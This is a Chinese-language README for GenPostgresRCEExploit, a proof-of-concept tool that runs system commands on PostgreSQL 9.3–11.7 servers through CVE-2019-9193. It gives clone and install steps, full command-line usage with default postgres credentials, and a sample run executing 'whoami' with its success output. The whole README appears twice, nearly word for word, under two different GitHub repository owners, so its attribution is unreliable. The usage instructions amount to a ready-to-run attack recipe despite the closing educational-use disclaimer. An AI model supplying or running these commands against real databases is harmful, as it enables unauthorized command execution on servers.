GenPostgresRCEExploit 是一个 PoC 工具,用于利用特定版本的 PostgreSQL(9.3 - 11.7)中存在的经过身份验证的远程代码执行(RCE)漏洞。它允许经过身份验证的用户在存在 CVE-2019-9193 漏洞的 PostgreSQL 数据库服务器上执行系统命令。
psycopg2)libpq-dev)git clone https://github.com/AxthonyV/CVE-2019-9193
cd CVE-2019-9193
pip install -r requirements.txt
python3 GenPostgresRCEExploit.py -i <target_ip> -p <port> -d <database_name> -U <username> -P <password> -c "<system_command>"
-i, --ip:PostgreSQL 服务器的 IP 地址(默认:127.0.0.1)-p, --port:PostgreSQL 服务器端口(默认:5432)-d, --database:PostgreSQL 数据库名称(默认:template1)-U, --user:连接 PostgreSQL 服务器的用户名(默认:postgres)-P, --password:连接 PostgreSQL 服务器的密码(默认:postgres)-c, ---command:要在服务器上执行的系统命令-t, --timeout:连接超时时间,单位为秒(默认:10)python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d mydb -U myuser -P mypass -c "whoami"
此示例连接到 192.168.1.10 的 PostgreSQL 服务器,使用提供的凭据进行身份验证,并执行 whoami 命令。
$ python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d testdb -U postgres -P mypassword -c "whoami"
[+] Connection to PostgreSQL database at 192.168.1.10:5432
[+] Connection successfully established
[+] PostgreSQL version check
[+] Vulnerable PostgreSQL version detected: 10.4
[+] Temporary table creation: temp_3f8b8f9e2c9c11d7bd8f7c61d4e9eaf2
[+] Command successfully executed
postgres
此工具仅供教育目的和道德测试使用。未经授权使用此工具针对任何系统均属非法行为,并被严格禁止。作者对任何滥用行为不承担责任。
GenPostgresRCEExploit 是一个 PoC 利用程序,旨在利用特定版本的 PostgreSQL(9.3 - 11.7)中的远程代码执行(RCE)漏洞。该程序允许经过身份验证的用户在存在 CVE-2019-9193 漏洞的 PostgreSQL 服务器上执行系统命令。
psycopg2 包)git clone https://github.com/geniuszly/CVE-2019-9193
cd CVE-2019-9193
pip install -r requirements.txt
python3 GenPostgresRCEExploit.py -i <IP address> -p <port> -d <database_name> -U <user> -P <password> -c "<system_command>"
-i, --ip:PostgreSQL 服务器的 IP 地址(默认:127.0.0.1)-p, --port:PostgreSQL 服务器端口(默认:5432)-d, --database:PostgreSQL 数据库名称(默认:template1)-U, --user:连接 PostgreSQL 服务器的用户名(默认:postgres)-P, --password:连接 PostgreSQL 服务器的密码(默认:postgres)-c, --command:要在服务器上执行的系统命令-t, --timeout:连接超时时间,单位为秒(默认:10)python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d mydb -U myuser -P mypass -c "whoami"
在此示例中,程序连接到 192.168.1.10 的 PostgreSQL 服务器,使用指定的凭据进行身份验证,并执行 whoami 命令。
$ python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d testdb -U postgres -P mypassword -c "whoami"
[+] Connection to PostgreSQL database at 192.168.1.10:5432
[+] Connection successfully established
[+] PostgreSQL version check
[+] Vulnerable PostgreSQL version detected: 10.4
[+] Temporary table creation: temp_3f8b8f9e2c9c11d7bd8f7c61d4e9eaf2
[+] Command successfully executed
postgres
此工具仅用于教育目的和合法测试。未经授权使用此工具针对任何系统均属非法行为,并被严格禁止。作者对任何滥用行为不承担责任。